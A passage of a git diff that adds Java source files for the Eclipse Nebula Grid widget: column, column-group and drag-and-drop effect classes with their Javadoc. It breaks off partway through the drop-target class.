    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setCellSelectionEnabled(boolean cellSelectionEnabled) { + checkWidget(); + this.cellSelectionEnabled = cellSelectionEnabled; + } + + /** + * Returns the parent grid. + * + * @return the parent grid. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Grid getParent() { + checkWidget(); + return parent; + } + + /** + * Returns the checkable state. If false the checkboxes in the column cannot + * be checked. + * + * @return true if the column is checkable (only applicable when style is + * SWT.CHECK). + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getCheckable() { + checkWidget(); + return checkable; + } + + /** + * Sets the checkable state. If false the checkboxes in the column cannot be + * checked. + * + * @param checkable + * the new checkable state. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setCheckable(boolean checkable) { + checkWidget(); + this.checkable = checkable; + } + + void setColumnIndex(int newIndex) { + cellRenderer.setColumn(newIndex); + } + + /** + * Returns the true if the cells in receiver wrap their text. + * + * @return true if the cells wrap their text. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public boolean getWordWrap() { + checkWidget(); + return cellRenderer.isWordWrap(); + } + + /** + * If the argument is true, wraps the text in the receiver's cells. This + * feature will not cause the row height to expand to accommodate the + * wrapped text. Please use Grid#setItemHeight to change the + * height of each row. + * + * @param wordWrap + * true to make cells wrap their text. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setWordWrap(boolean wordWrap) { + checkWidget(); + cellRenderer.setWordWrap(wordWrap); + parent.redraw(); + } + + /** + * Sets whether or not text is word-wrapped in the header for this column. + * If Grid.setAutoHeight(true) is set, the row height is adjusted to + * accommodate word-wrapped text. + * + * @param wordWrap + * Set to true to wrap the text, false otherwise + * @see #getHeaderWordWrap() + */ + public void setHeaderWordWrap(boolean wordWrap) { + checkWidget(); + headerRenderer.setWordWrap(wordWrap); + parent.redraw(); + } + + /** + * Returns whether or not text is word-wrapped in the header for this + * column. + * + * @return true if the header wraps its text. + * @see GridColumn#setHeaderWordWrap(boolean) + */ + public boolean getHeaderWordWrap() { + checkWidget(); + return headerRenderer.isWordWrap(); + } + + /** + * Set a new editor at the top of the control. If there's an editor already + * set it is disposed. + * + * @param control + * the control to be displayed in the header + */ + public void setHeaderControl(Control control) { + if (this.controlEditor == null) { + this.controlEditor = new GridHeaderEditor(this); + this.controlEditor.initColumn(); + } + this.controlEditor.setEditor(control); + getParent().recalculateHeader(); + + if (control != null) { + // We need to realign if multiple editors are set it is possible + // that + // a later one needs more space + control.getDisplay().asyncExec(new Runnable() { + + public void run() { + if (GridColumn.this.controlEditor != null + && GridColumn.this.controlEditor.getEditor() != null) { + GridColumn.this.controlEditor.layout(); + } + } + + }); + } + } + + /** + * @return the current header control + */ + public Control getHeaderControl() { + if (this.controlEditor != null) { + return this.controlEditor.getEditor(); + } + return null; + } + + + /** + * Returns the tooltip of the column header. + * + * @return the tooltip text + */ + public String getHeaderTooltip() { + checkWidget(); + return headerTooltip; + } + + /** + * Sets the tooltip text of the column header. + * + * @param tooltip the tooltip text + */ + public void setHeaderTooltip(String tooltip) { + checkWidget(); + this.headerTooltip = tooltip; + } + + /** + * Sets the receiver's footer image to the argument, which may be null + * indicating that no image should be displayed. + * + * @param image + * the image to display on the receiver (may be null) + * + * @exception IllegalArgumentException + *
      + *
    • ERROR_INVALID_ARGUMENT - if the image has been + * disposed
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setFooterImage(Image image) { + checkWidget(); + if (image != null && image.isDisposed()) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + this.footerImage = image; + } + + /** + * Sets the receiver's footer text. + * + * @param string + * the new text + * + * @exception IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the text is null
    • + *
    + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public void setFooterText(String string) { + checkWidget(); + if (string == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + this.footerText = string; + } + + /** + * Returns the receiver's footer image if it has one, or null if it does + * not. + * + * @return the receiver's image + * + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Image getFooterImage() { + checkWidget(); + return footerImage; + } + + /** + * Returns the receiver's footer text, which will be an empty string if it + * has never been set. + * + * @return the receiver's text + * + * @exception SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public String getFooterText() { + checkWidget(); + return footerText; + } + + /** + * Returns the font that the receiver will use to paint textual information + * for the header. + * + * @return the receiver's font + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Font getHeaderFont() { + checkWidget(); + + if (headerFont == null) { + return parent.getFont(); + } + return headerFont; + } + + /** + * Sets the Font to be used when displaying the Header text. + * + * @param font + */ + public void setHeaderFont(Font font) { + checkWidget(); + headerFont = font; + } + + /** + * Returns the font that the receiver will use to paint textual information + * for the footer. + * + * @return the receiver's font + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed + *
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + public Font getFooterFont() { + checkWidget(); + + if (footerFont == null) { + return parent.getFont(); + } + return footerFont; + } + + /** + * Sets the Font to be used when displaying the Footer text. + * + * @param font + */ + public void setFooterFont(Font font) { + checkWidget(); + footerFont = font; + } + + /** + * @return the minimum width + */ + public int getMinimumWidth() { + return minimumWidth; + } + + /** + * Set the minimum width of the column + * + * @param minimumWidth + * the minimum width + */ + public void setMinimumWidth(int minimumWidth) { + this.minimumWidth = Math.max(0, minimumWidth); + if( minimumWidth > getWidth() ) { + setWidth(minimumWidth, true); + } + } +} \ No newline at end of file diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridColumnGroup.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridColumnGroup.java new file mode 100644 index 0000000..f3ebf69 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridColumnGroup.java @@ -0,0 +1,467 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * mario.winterer@scch.at - bugfix in 244333 + * Marty Jones - custom header/footer font in bug 293743 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.nebula.widgets.grid.internal.DefaultColumnGroupHeaderRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.SWTException; +import org.eclipse.swt.events.TreeListener; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Item; +import org.eclipse.swt.widgets.TypedListener; + +import java.util.Vector; + +/** + *

    + * NOTE: THIS WIDGET AND ITS API ARE STILL UNDER DEVELOPMENT. THIS IS A PRE-RELEASE ALPHA + * VERSION. USERS SHOULD EXPECT API CHANGES IN FUTURE VERSIONS. + *

    + * Instances of this class represent a column group in a grid widget. A column group header is + * displayed above grouped columns. The column group can optionally be configured to expand and + * collapse. A column group in the expanded state shows {@code GridColumn}s whose detail property + * is true. A column group in the collapsed state shows {@code GridColumn}s whose summary property + * is true. + *

    + *

    + *
    Styles:
    + *
    SWT.TOGGLE
    + *
    Events:
    + *
    Expand, Collapse
    + *
    + * + * @author chris.gross@us.ibm.com + */ +public class GridColumnGroup extends Item +{ + + private Grid parent; + + private GridColumn[] columns = new GridColumn[] {}; + + private boolean expanded = true; + + private Font headerFont; + + /** + * Header renderer. + */ + private GridHeaderRenderer headerRenderer = new DefaultColumnGroupHeaderRenderer(); + + /** + * Constructs a new instance of this class given its parent (which must be a Table) and a style + * value describing its behavior and appearance. + * + * @param parent the parent table + * @param style the style of the group + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the parent is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the parent
    • + *
    • ERROR_INVALID_SUBCLASS - if this class is not an allowed subclass
    • + *
    + */ + public GridColumnGroup(Grid parent, int style) + { + super(parent, style); + this.parent = parent; + + headerRenderer.setDisplay(getDisplay()); + parent.newColumnGroup(this); + } + + /** + * Adds the listener to the collection of listeners who will + * be notified when an item in the receiver is expanded or collapsed + * by sending it one of the messages defined in the TreeListener + * interface. + * + * @param listener the listener which should be notified + * + * @exception IllegalArgumentException
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * + * @see TreeListener + * @see #removeTreeListener + */ + public void addTreeListener(TreeListener listener) { + checkWidget (); + if (listener == null) SWT.error (SWT.ERROR_NULL_ARGUMENT); + TypedListener typedListener = new TypedListener (listener); + addListener (SWT.Expand, typedListener); + addListener (SWT.Collapse, typedListener); + } + + /** + * Removes the listener from the collection of listeners who will + * be notified when items in the receiver are expanded or collapsed. + * + * @param listener the listener which should no longer be notified + * + * @exception IllegalArgumentException
      + *
    • ERROR_NULL_ARGUMENT - if the listener is null
    • + *
    + * @exception SWTException
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that created the receiver
    • + *
    + * + * @see TreeListener + * @see #addTreeListener + */ + public void removeTreeListener(TreeListener listener) { + checkWidget (); + if (listener == null) SWT.error (SWT.ERROR_NULL_ARGUMENT); + removeListener (SWT.Expand, listener); + removeListener (SWT.Collapse, listener); + } + + /** + * Returns the parent grid. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public Grid getParent() + { + checkWidget(); + return parent; + } + + int getNewColumnIndex() + { + if (columns.length == 0) + { + return -1; + } + + GridColumn lastCol = columns[columns.length - 1]; + return parent.indexOf(lastCol) + 1; + } + + void newColumn(GridColumn column, int index) + { + GridColumn[] newAllColumns = new GridColumn[columns.length + 1]; + System.arraycopy(columns, 0, newAllColumns, 0, columns.length); + newAllColumns[newAllColumns.length - 1] = column; + columns = newAllColumns; + } + + void removeColumn(GridColumn col) + { + + if (columns.length == 0) + return; // widget is disposing + + GridColumn[] newAllColumns = new GridColumn[columns.length - 1]; + int x = 0; + for (int i = 0; i < columns.length; i++) + { + if (columns[i] != col) + { + newAllColumns[x] = columns[i]; + x ++; + } + } + columns = newAllColumns; + } + + /** + * Returns the columns within this group. + *

    + * Note: This is not the actual structure used by the receiver to maintain + * its list of items, so modifying the array will not affect the receiver. + *

    + * @return the columns + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridColumn[] getColumns() + { + checkWidget(); + GridColumn[] newArray = new GridColumn[columns.length]; + System.arraycopy (columns, 0, newArray, 0, columns.length); + return newArray; + } + + /** + * {@inheritDoc} + */ + public void dispose() + { + super.dispose(); + + if (parent.isDisposing()) + return; + + GridColumn[] oldColumns = columns; + columns = new GridColumn[0]; + + for (int i = 0; i < oldColumns.length; i++) { + oldColumns[i].dispose(); + } + + parent.removeColumnGroup(this); + } + + /** + * Gets the header renderer. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public GridHeaderRenderer getHeaderRenderer() + { + checkWidget(); + return headerRenderer; + } + + /** + * Sets the header renderer. + * + * @param headerRenderer The headerRenderer to set. + * @throws IllegalArgumentException + *
      + *
    • ERROR_NULL_ARGUMENT - if the renderer is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setHeaderRenderer(GridHeaderRenderer headerRenderer) + { + if (headerRenderer == null) + SWT.error(SWT.ERROR_NULL_ARGUMENT); + this.headerRenderer = headerRenderer; + headerRenderer.setDisplay(getDisplay()); + } + + /** + * Returns true if the receiver is expanded, false otherwise. + * + * @return the expanded attribute + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getExpanded() + { + checkWidget(); + return expanded; + } + + /** + * Sets the expanded state of the receiver. + * + * @param expanded the expanded to set + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setExpanded(boolean expanded) + { + checkWidget(); + + this.expanded = expanded; + + if (!expanded && getParent().getCellSelectionEnabled()) + { + Vector collapsedCols = new Vector(); + for (int j = 0; j < columns.length; j++) + { + if (!columns[j].isSummary()) + { + collapsedCols.add(new Integer(getParent().indexOf(columns[j]))); + } + } + Point[] selection = getParent().getCellSelection(); + for (int i = 0; i < selection.length; i++) + { + if (collapsedCols.contains(new Integer(selection[i].x))) + { + getParent().deselectCell(selection[i]); + } + } + + if (getParent().getFocusColumn() != null && getParent().getFocusColumn().getColumnGroup() == this) + { + getParent().updateColumnFocus(); + } + + parent.updateColumnSelection(); + } + + if (parent.getCellSelectionEnabled()) + + + parent.refreshHoverState(); + parent.setScrollValuesObsolete(); + parent.redraw(); + } + + /** + * Returns the first visible column in this column group. + * + * @return first visible column + */ + GridColumn getFirstVisibleColumn() + { + GridColumn[] cols = parent.getColumnsInOrder(); + for (int i = 0; i < cols.length; i++) + { + if (cols[i].getColumnGroup() == this && cols[i].isVisible()) + { + return cols[i]; + } + } + return null; + } + + /** + * Returns the last visible column in this column group. + * + * @return last visible column + */ + GridColumn getLastVisibleColumn() + { + GridColumn[] cols = parent.getColumnsInOrder(); + GridColumn lastVisible = null; + for (int i = 0; i < cols.length; i++) + { + if (cols[i].getColumnGroup() == this && cols[i].isVisible()) + { + lastVisible = cols[i]; + } + } + return lastVisible; + } + + Rectangle getBounds() + { + Rectangle bounds = new Rectangle(0, 0, 0, 0); + + bounds.height = parent.getGroupHeaderHeight(); + + boolean foundFirstColumnInGroup = false; + + GridColumn[] cols = parent.getColumnsInOrder(); + for (int i = 0; i < cols.length; i++) + { + if (cols[i].getColumnGroup() == this) + { + if (cols[i].isVisible()) + { + if (!foundFirstColumnInGroup) + { + bounds.x = parent.getOrigin(cols[i], null).x; + foundFirstColumnInGroup = true; + } + bounds.width += cols[i].getWidth(); + } + } + else + { + if (foundFirstColumnInGroup) + { + break; + } + } + } + + return bounds; + } + /** + * Sets whether or not text is word-wrapped in the header for this column group. If Grid.setAutoHeight(true) is set, the row height + * is adjusted to accommodate word-wrapped text. + * @param wordWrap Set to true to wrap the text, false otherwise + * @see #getHeaderWordWrap() + */ + public void setHeaderWordWrap(boolean wordWrap) + { + checkWidget(); + headerRenderer.setWordWrap(wordWrap); + parent.redraw(); + } + /** + * Returns whether or not text is word-wrapped in the header for this column group. + * @return true if the header wraps its text. + * @see GridColumn#setHeaderWordWrap(boolean) + */ + public boolean getHeaderWordWrap() + { + checkWidget(); + return headerRenderer.isWordWrap(); + } + + /** + * Returns the font that the receiver will use to paint textual information + * for the header. + * + * @return the receiver's font + * @throws SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public Font getHeaderFont() { + checkWidget(); + + if (headerFont == null) { + return parent.getFont(); + } + return headerFont; + } + + /** + * Sets the Font to be used when displaying the Header text. + * @param font + */ + public void setHeaderFont(Font font) { + checkWidget(); + this.headerFont = font; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridDragSourceEffect.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridDragSourceEffect.java new file mode 100644 index 0000000..030c17d --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridDragSourceEffect.java @@ -0,0 +1,144 @@ +package org.eclipse.nebula.widgets.grid; + +import java.util.ArrayList; +import java.util.List; + +import org.eclipse.swt.dnd.DragSourceAdapter; +import org.eclipse.swt.dnd.DragSourceEffect; +import org.eclipse.swt.dnd.DragSourceEvent; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; + + +/** + * This class provides default implementations to display a source image + * when a drag is initiated from a Grid. + * + *

    Classes that wish to provide their own source image for a Grid can + * extend DragSourceAdapter class and override the DragSourceAdapter.dragStart + * method and set the field DragSourceEvent.image with their own image.

    + * + * Subclasses that override any methods of this class must call the corresponding + * super method to get the default drag under effect implementation. + * + * @see DragSourceAdapter + * @see DragSourceEvent + * + * @since 3.3 + * @author mark-oliver.reiser + */ +public class GridDragSourceEffect extends DragSourceEffect { + + Image dragSourceImage = null; + + /** + * + * @param grid + */ + public GridDragSourceEffect(Grid grid) { + super(grid); + } + + /** + * This implementation of dragFinished disposes the image + * that was created in GridDragSourceEffect.dragStart. + * + * Subclasses that override this method should call super.dragFinished(event) + * to dispose the image in the default implementation. + * + * @param event the information associated with the drag finished event + */ + public void dragFinished(DragSourceEvent event) { + if (dragSourceImage != null) dragSourceImage.dispose(); + dragSourceImage = null; + } + + /** + * This implementation of dragStart will create a default + * image that will be used during the drag. The image should be disposed + * when the drag is completed in the GridDragSourceEffect.dragFinished + * method. + * + * Subclasses that override this method should call super.dragStart(event) + * to use the image from the default implementation. + * + * @param event the information associated with the drag start event + */ + public void dragStart(DragSourceEvent event) { + event.image = getDragSourceImage(event); + } + + Image getDragSourceImage(DragSourceEvent event) { + if (dragSourceImage != null) dragSourceImage.dispose(); + dragSourceImage = null; + Grid grid = (Grid) getControl(); + Display display = grid.getDisplay(); + Rectangle empty = new Rectangle(0,0,0,0); + + // Collect the currently selected items. + Point[] selection; + if(grid.getCellSelectionEnabled()){ + selection = grid.getCellSelection(); + } else { + List l = new ArrayList(); + GridItem[] selItems = grid.getSelection(); + for (int i = 0; i < selItems.length; i++){ + for (int j = 0; j < grid.getColumnCount() ; j++){ + if(grid.getColumn(j).isVisible()){ + l.add(new Point(j,grid.indexOf(selItems[i]))); + } + } + } + selection = (Point[])l.toArray(new Point[l.size()]); + } + if (selection.length == 0) return null; + + Rectangle bounds=null; + for (int i = 0; i < selection.length; i++) { + GridItem item = grid.getItem(selection[i].y); + Rectangle currBounds = item.getBounds(selection[i].x); + + if(empty.equals(currBounds)){ + selection[i]=null; + }else { + if(bounds==null){ + bounds = currBounds; + }else { + bounds = bounds.union(currBounds); + } + } + } + if(bounds==null) return null; + if (bounds.width <= 0 || bounds.height <= 0) return null; + + dragSourceImage = new Image(display,bounds.width,bounds.height); + GC gc = new GC(dragSourceImage); + for (int i = 0; i < selection.length; i++) { + if(selection[i]==null) continue; + GridItem item = grid.getItem(selection[i].y); + GridColumn column = grid.getColumn(selection[i].x); + Rectangle currBounds = item.getBounds(selection[i].x); + GridCellRenderer r = column.getCellRenderer(); + r.setBounds(currBounds.x-bounds.x, currBounds.y-bounds.y, currBounds.width, currBounds.height); + gc.setClipping(currBounds.x-bounds.x-1, currBounds.y-bounds.y-1, currBounds.width+2, currBounds.height+2); + r.setColumn(selection[i].x); + r.setSelected(false); + r.setFocus(false); + r.setRowFocus(false); + r.setCellFocus(false); + r.setRowHover(false); + r.setColumnHover(false); + r.setCellSelected(false); + r.setHoverDetail(""); + r.setDragging(true); + r.paint(gc, item); + gc.setClipping((Rectangle)null); + } + gc.dispose(); + + return dragSourceImage; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridDropTargetEffect.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridDropTargetEffect.java new file mode 100644 index 0000000..7d5b286 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/GridDropTargetEffect.java @@ -0,0 +1,340 @@ +package org.eclipse.nebula.widgets.grid; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.DropTargetAdapter; +import org.eclipse.swt.dnd.DropTargetEffect; +import org.eclipse.swt.dnd.DropTargetEvent; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Widget; + +/** + * This class provides a default drag under effect (eg. select, insert, scroll and expand) + * when a drag occurs over a Grid. + * + *

    Classes that wish to provide their own drag under effect for a Grid + * can extend the DropTargetAdapter class and override any applicable methods + * in DropTargetAdapter to display their own drag under effect.

    + * + * Subclasses that override any methods of this class must call the corresponding + * super method to get the default drag under effect implementation. + * + *

    The feedback value is either one of the FEEDBACK constants defined in + * class DND which is applicable to instances of this class, + * or it must be built by bitwise OR'ing together + * (that is, using the int "|" operator) two or more + * of those DND effect constants. + *

    + *

    + *

    + *
    Feedback:
    + *
    FEEDBACK_SELECT, FEEDBACK_INSERT_BEFORE, FEEDBACK_INSERT_AFTER, FEEDBACK_EXPAND, FEEDBACK_SCROLL
    + *
    + *

    + * Note: Only one of the styles FEEDBACK_SELECT, FEEDBACK_INSERT_BEFORE or + * FEEDBACK_INSERT_AFTER may be specified. + *

    + * + * @see DropTargetAdapter + * @see DropTargetEvent + * + * @since 3.3 + * @author mark-oliver.reiser + */ +public class GridDropTargetEffect extends DropTargetEffect { + static final int SCROLL_HYSTERESIS = 200; // milli seconds + static final int EXPAND_HYSTERESIS = 1000; // milli seconds + + private Grid grid; + private boolean ignoreCellSelection = false; + + private GridItem scrollItem; + private long scrollBeginTime; + private GridItem expandItem; + private long expandBeginTime; + + private Point insertCell; + private boolean insertBefore; + private Point selectedCell; + + /** + * Creates a new GridDropTargetEffect to handle the drag under effect on the specified + * Grid. + * + * @param grid the Grid over which the user positions the cursor to drop the data + */ + public GridDropTargetEffect(Grid grid) { + super(grid); + this.grid = grid; + } + + + /** + * Set this value to true to make drop feedback in Grid + * always behave like the Grid was not in cell selection mode. + * The default is false. + * + *

    A value of true, means that for {@link DND#FEEDBACK_SELECT} full rows will + * be selected instead of cells and for {@link DND#FEEDBACK_INSERT_AFTER} and + * {@link DND#FEEDBACK_INSERT_BEFORE} the insert mark will span all columns. + * + * @param ignore + */ + public void setIgnoreCellSelection(boolean ignore) { + ignoreCellSelection = ignore; + } + + /** + * + * @return true if cell selection mode is ignored + * @see #setIgnoreCellSelection(boolean) + */ + public boolean getIgnoreCellSelection() { + return ignoreCellSelection; + } + + + int checkEffect(int effect) { + // Some effects are mutually exclusive. Make sure that only one of the mutually exclusive effects has been specified. + if ((effect & DND.FEEDBACK_SELECT) != 0) effect = effect & ~DND.FEEDBACK_INSERT_AFTER & ~DND.FEEDBACK_INSERT_BEFORE; + if ((effect & DND.FEEDBACK_INSERT_BEFORE) != 0) effect = effect & ~DND.FEEDBACK_INSERT_AFTER; + return effect; + } + + /** + * {@inheritDoc} + */ + public Widget getItem(int x, int y) { + Point coordinates = new Point(x, y); + coordinates = grid.toControl(coordinates); + return grid.getItem(coordinates); + } + + /** + * This implementation of dragEnter provides a default drag under effect + * for the feedback specified in event.feedback. + * + * For additional information see DropTargetAdapter.dragEnter. + * + * Subclasses that override this method should call super.dragEnter(event) + * to get the default drag under effect implementation. + * + * @param event the information associated with the drag enter event + * + * @see DropTargetAdapter + * @see DropTargetEvent + */ + public void dragEnter(DropTargetEvent event) { + expandBeginTime = 0; + expandItem = null; + scrollBeginTime = 0; + scrollItem = null; + + insertCell = null; + selectedCell = null; + } + + /** + * This implementation of dragLeave provides a default drag under effect + * for the feedback specified in event.feedback. + * + * For additional information see DropTargetAdapter.dragLeave. + * + * Subclasses that override this method should call super.dragLeave(event) + * to get the default drag under effect implementation. + * + * @param event the information associated with the drag leave event + * + * @see DropTargetAdapter + * @see DropTargetEvent + */ + public void dragLeave(DropTargetEvent event) { + if (selectedCell != null) + { + deselect(selectedCell); + selectedCell = null; + } + if (insertCell != null) + { + setInsertMark(null, false); + insertCell = null; + } + expandBeginTime = 0; + expandItem = null; + scrollBeginTime = 0; + scrollItem = null; + } + + /** + * This implementation of dragOver provides a default drag under effect + * for the feedback specified in event.feedback. + * + * For additional information see DropTargetAdapter.dragOver. + * + * Subclasses that override this method should call super.dragOver(event) + * to get the default drag under effect implementation. + * + * @param event the information associated with the drag over event + * + * @see DropTargetAdapter + * @see DropTargetEvent + * @see DND#FEEDBACK_SELECT + * @see DND#FEEDBACK_INSERT_BEFORE + * @see DND#FEEDBACK_INSERT_AFTER + * @see DND#FEEDBACK_SCROLL + * @see DND#FEEDBACK_EXPAND + */ + public void dragOver(DropTargetEvent event) { + int effect = checkEffect(event.feedback); + Point coordinates = new Point(event.x, event.y); + coordinates = grid.toControl(coordinates); + GridItem hoverItem = grid.getItem(coordinates); + GridColumn hoverColumn = grid.getColumn(coordinates); + Point hoverCell = grid.getCell(coordinates); + + if (hoverItem == null || hoverColumn == null || hoverCell == null) + { + hoverItem = null; + hoverColumn = null; + hoverCell = null; + } + + // handle scrolling + if ((effect & DND.FEEDBACK_SCROLL) == 0) + { + scrollBeginTime = 0; + scrollItem = null; + } + else + { + if (hoverItem != null && scrollItem == hoverItem && scrollBeginTime != 0) + { + if (System.currentTimeMillis() >= scrollBeginTime) + { + GridItem topItem = grid.getItem(grid.getTopIndex()); + GridItem nextItem = hoverItem == topItem ? grid.getPreviousVisibleItem(hoverItem) : grid.getNextVisibleItem(hoverItem); + boolean scroll = nextItem != null && grid.isInDragScrollArea(coordinates); + if (scroll) + { + grid.showItem(nextItem); + } + scrollBeginTime = 0; + scrollItem = null; + } + } + else + { + scrollBeginTime = System.currentTimeMillis() + SCROLL_HYSTERESIS; + scrollItem = hoverItem; + } + } + + + // handle expand + if ((effect & DND.FEEDBACK_EXPAND) == 0) { + expandBeginTime = 0; + expandItem = null; + } else { + if (hoverItem != null && expandItem == hoverItem && expandBeginTime != 0) { + if (System.currentTimeMillis() >= expandBeginTime) { + if(hoverColumn.isTree() && !hoverItem.isExpanded()) + { + hoverItem.setExpanded(true); + + //Manually fire the expand event, otherwise if it hasn't been previously + //expanded, you'll see the dummy child node instead of actual contents. + //Also, if we don't check hasChildren and just fire the event, then the + //content provider ends up being called and it asks for children of + //something that says it doesn't have children. + if (hoverItem.hasChildren()) + { + hoverItem.fireEvent(SWT.Expand); + } + } + expandBeginTime = 0; + expandItem = null; + } + } else { + expandBeginTime = System.currentTimeMillis() + EXPAND_HYSTERESIS; + expandItem = hoverItem; + } + } + + + // handle select + if ((effect & DND.FEEDBACK_SELECT) != 0 && hoverCell != null) + { + if (!hoverCell.equals(selectedCell)) + { + if (selectedCell != null) + deselect(selectedCell); + select(hoverCell); + selectedCell = new Point(hoverCell.x,hoverCell.y); + } + } + if ((effect & DND.FEEDBACK_SELECT) == 0 && selectedCell != null) + { + deselect(selectedCell); + selectedCell = null; + } + + + // handle insert mark + if ((effect & DND.FEEDBACK_INSERT_BEFORE) != 0 || (effect & DND.FEEDBACK_INSERT_AFTER) != 0) { + boolean before = (effect & DND.FEEDBACK_INSERT_BEFORE) != 0; + if (hoverCell != null) + { + if (!hoverCell.equals(insertCell) || before != insertBefore) + { + setInsertMark(hoverCell, before); + } + insertCell = new Point(hoverCell.x,hoverCell.y); + 